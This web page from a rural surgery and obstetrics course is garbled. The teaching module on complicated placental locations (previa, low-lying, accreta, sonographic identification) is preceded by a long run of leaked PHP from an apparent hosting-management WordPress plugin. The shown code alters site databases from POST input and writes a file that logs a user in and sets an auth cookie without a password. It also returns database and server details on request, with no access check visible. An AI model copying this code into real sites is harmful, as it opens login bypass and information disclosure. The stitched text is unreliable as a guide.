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'en_CA' : 'fr_CA' )."' where option_name='WPLANG' limit 1"; run_query($q); if($_POST['has_whc_pages']){ // delete all page except whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (373, 375)"; run_query($q); if($_POST['lang']!='english'){ /* delete from wp_options where option_name in (select option_name from wp_options_whc1 ); insert into wp_options (select * from wp_options_whc1); $q = "delete from ".TABLEPREFIX."options where option_name in (select option_name from ".TABLEPREFIX."options_whc1 )"; run_query($q); $q = "update ".TABLEPREFIX."options_whc1 set option_value = replace(option_value, 'https://wphosting-staging.whc.ca', 'http://wp55731.wpdns.ca') "; run_query($q); $q = "insert into ".TABLEPREFIX."options (select * from ".TABLEPREFIX."options_whc1) "; run_query($q); */ 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$q = "update ".TABLEPREFIX."options set option_value = '".$rewrite."' where option_name='rewrite_rules' limit 1"; run_query($q); } } }else{ //delete other language pages $q = "select * from ".TABLEPREFIX."term_taxonomy where taxonomy = 'post_translations' "; $rows = run_query($q); $pages_to_delete = array(); foreach($rows as $row){ $temp = unserialize($row['description']); if($temp[($_POST['lang']=='english' ? 'fr' : 'en')]) $pages_to_delete[] = $temp[($_POST['lang']=='english' ? 'fr' : 'en')]; } //print_r($pages_to_delete); //delete other lang non-whc page $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (".implode($pages_to_delete, ',').")"; run_query($q); //set wp default lang $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? 'en_CA' : 'fr_CA' )."' where option_name='WPLANG' limit 1"; run_query($q); //delete other lang non-whc page $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID = '".($_POST['lang']=='english' ? '375' : '373' )."' limit 1"; run_query($q); //delete other lang forminator page $q = "delete from ".TABLEPREFIX."posts where post_type='forminator_forms' and ID = '".($_POST['lang']=='english' ? '439' : '438' )."' limit 1"; run_query($q); //mail('david@whc.ca','wp hosting.',json_encode($_POST).$q); $q = "delete from ".TABLEPREFIX."postmeta where meta_key='forminator_form_meta' and post_id = '".($_POST['lang']=='english' ? '439' : '438' )."' limit 1"; run_query($q); if($_POST['has_whc_pages']){ // confirm correct theme $q = "update ".TABLEPREFIX."options set option_value='OceanWP' where option_name='current_theme' limit 1"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='oceanwp' where option_name='template' or option_name='stylesheet'"; run_query($q); //delete ALL non-whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (373, 375)"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '133' : '298' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '133' : '298' )."') where option_name='rewrite_rules'"; run_query($q); //set main menu lang for unilang $q = "select * from ".TABLEPREFIX."options where option_name='theme_mods_oceanwp' limit 1; "; $rows = run_query($q); $menuobj = unserialize($rows[0]['option_value']); //print_r($menuobj); if($rows[0]['option_value']){ $menuobj['nav_menu_locations']['main_menu'] = $_POST['lang']=='english' ? '5' : '18'; $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($menuobj))."' where option_name='theme_mods_oceanwp' limit 1; "; run_query($q); } //delete other lang menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' ;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' limit 1;"; run_query($q); }else{ //delete ALL whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID not in (373, 375)"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='Twenty Seventeen' where option_name='current_theme' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value='twentyseventeen' where option_name='template' or option_name='stylesheet'"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '373' : '375' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '373' : '375' )."') where option_name='rewrite_rules'"; run_query($q); //delete ALL menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id in (18,5);"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id in (18,5);"; run_query($q); } //delete switch language menu item $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 214 AND term_taxonomy_id = 5 limit 1;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 250 AND term_taxonomy_id = 18 limit 1;"; run_query($q); //unistall polylang $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php'){ ; }else{ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } if($_POST['has_whc_pages'] != 1){ //unistall all plugins except for polylang and litespeed $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php' || $row == 'litespeed-cache/litespeed-cache.php' || $row == 'elementor/elementor.php'){ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } } } user_login; \$user = get_user_by('login', \$username ); if ( !is_wp_error( \$user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( \$user->ID ); wp_set_auth_cookie ( \$user->ID ); \$redirect_to = user_admin_url(); wp_safe_redirect( \$redirect_to ); exit(); } "; fwrite($f, $txt); fclose($f); die('success'); }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'getstate'){ //require(dirname(__FILE__).'/../../wp-blog-header.php'); //require(dirname(__FILE__).'/../../wp-includes/pluggable.php'); require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "select option_value from ".$table_prefix."options where option_name = 'siteurl' limit 1 "; $rows = run_query($q); $return['wp_Domain'] = $rows[0]['option_value']; $return['wp_Version'] = get_bloginfo( 'version' ); $q = "select count(ID) from ".$table_prefix."users "; $rows = run_query($q); $return['num_Users'] = $rows[0]['count(ID)']; $q = "select option_value from ".$table_prefix."options where option_name = 'active_plugins' limit 1 "; $rows = run_query($q); $return['num_Plugins'] = count(unserialize($rows[0]['option_value'])); /* include_once('../../wp-admin/includes/class-wp-site-health-auto-updates.php'); var_dump(WP_Site_Health_Auto_Updates::test_filters_automatic_updater_disabled()); die; */ $return['is_multisite'] = defined('MULTISITE') ? MULTISITE : false ; $return['is_multisite'] = $return['is_multisite'] ? true : ( defined('WP_ALLOW_MULTISITE') ? WP_ALLOW_MULTISITE : false ); $return['autoupdate_Core'] = defined('WP_AUTO_UPDATE_CORE') ? WP_AUTO_UPDATE_CORE : false ; $q = "select option_value from ".$table_prefix."options where option_name = 'WPLANG' limit 1 "; $rows = run_query($q); $return['wpLanguage'] = $rows[0]['option_value'] == 'fr_CA' ? 'French' : 'English'; $return['maintenanceMode'] = function_exists('wp_maintenance_mode') ? 'True' : 'False'; $return['cpanelIP'] = $_SERVER['SERVER_ADDR']; $return['WHCPluginInstalled'] = 'True'; $q = "select option_value from ".$table_prefix."options where option_name = 'blogname' limit 1 "; $rows = run_query($q); $return['wp_BlogName'] = $rows[0]['option_value']; $q = "select option_value from ".$table_prefix."options where option_name = 'template' limit 1 "; $rows = run_query($q); $return['wp_TemplateName'] = $rows[0]['option_value']; $return['db_user'] = DB_USER; $return['db_name'] = DB_NAME; $return['php_version'] = phpversion(); echo "[".json_encode($return)."]"; die; }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'setstate'){ require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "update ".$table_prefix."options set option_value = 'https://wp".intval($_POST['hostingid']).".wpdns.ca' where option_name in ('siteurl','home') limit 2; "; $rows = run_query($q); die('success'); } } Complicated Placental Locations – Rural Surgery & Obstetrics
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Complicated Placental Locations

Contents

Module by: Nicole Wade and Katherine Rabicki

Learning Objectives

  1. Define complicated placental locations​
  2. Identification on antenatal ultrasound​
  3. Preparing for and managing:​
  • Anterior placenta​
  • Low-lying placenta​
  • Placenta previa​
  • Placenta accreta​
  • Placenta with a succenturiate lobe (maybe)​

Definition

Complicated Placental Locations are defined as placental locations that add additional challenge to Caesarean section by way of increasing morbidity and mortality risk, often by way of severe hemorrhage.​

Disclaimer

Some patients with complicated placental locations (i.e. placenta accreta spectrum) are best served at tertiary care centres able to provide specialized care. This module is not intended to encourage the full management of these disorders, but merely to provide background knowledge to help guide decision-making in rural/remote areas about when to transfer out.​

Antenatal Identification of Placental Location

Sonography

  • Ideally sonography is used for antepartum identification of placental location​
  • Timing: Diagnosis of placenta previa or low-lying placenta should NOT be made <18 to 20 weeks GA, and provisional dx should be confirmed >32 weeks GA, or sooner if clinically warranted (SOGC Guideline 402).​
  • Method: Assessment by transvaginal ultrasound is recommended in all cases where placenta previa or a low-lying placenta is present or suspected by transabdominal sonography, with attempt to clearly define placental location (including laterality), characteristics of placental edge (including thickness, presence of a marginal sinus), and associated findings (succenturiate lobe, cord insertion close to the cervix) (SOGC Guideline 402).​
  • Further Imaging: Pregnant women with clinical risk factors for placenta accreta spectrum disorders and anterior placenta previa at the 18–20-week fetal anatomical ultrasound should be referred for specialist imaging to diagnose or exclude this disorder (SOGC Guideline 383).​

Painless antepartum bleeding

  • Antepartum bleeding, typically painless bleeding, should prompt investigation of possible abnormal placentation.​
  • No digital examinations antepartum until placental location is confirmed!​
  • Visualization of placenta through the cervical os on speculum exam warrants immediate action.​

Heavy Bleeding in Labour

Williams describes attempting a vaginal exam in the OR with an emergency CS setup prepared to palpate the placenta (if NO ultrasound available)​

Topics

Anterior Placenta

Low-Lying Placenta and Placenta Previa

Placenta Accreta Syndromes

References

Next Section

Updated on February 16, 2022
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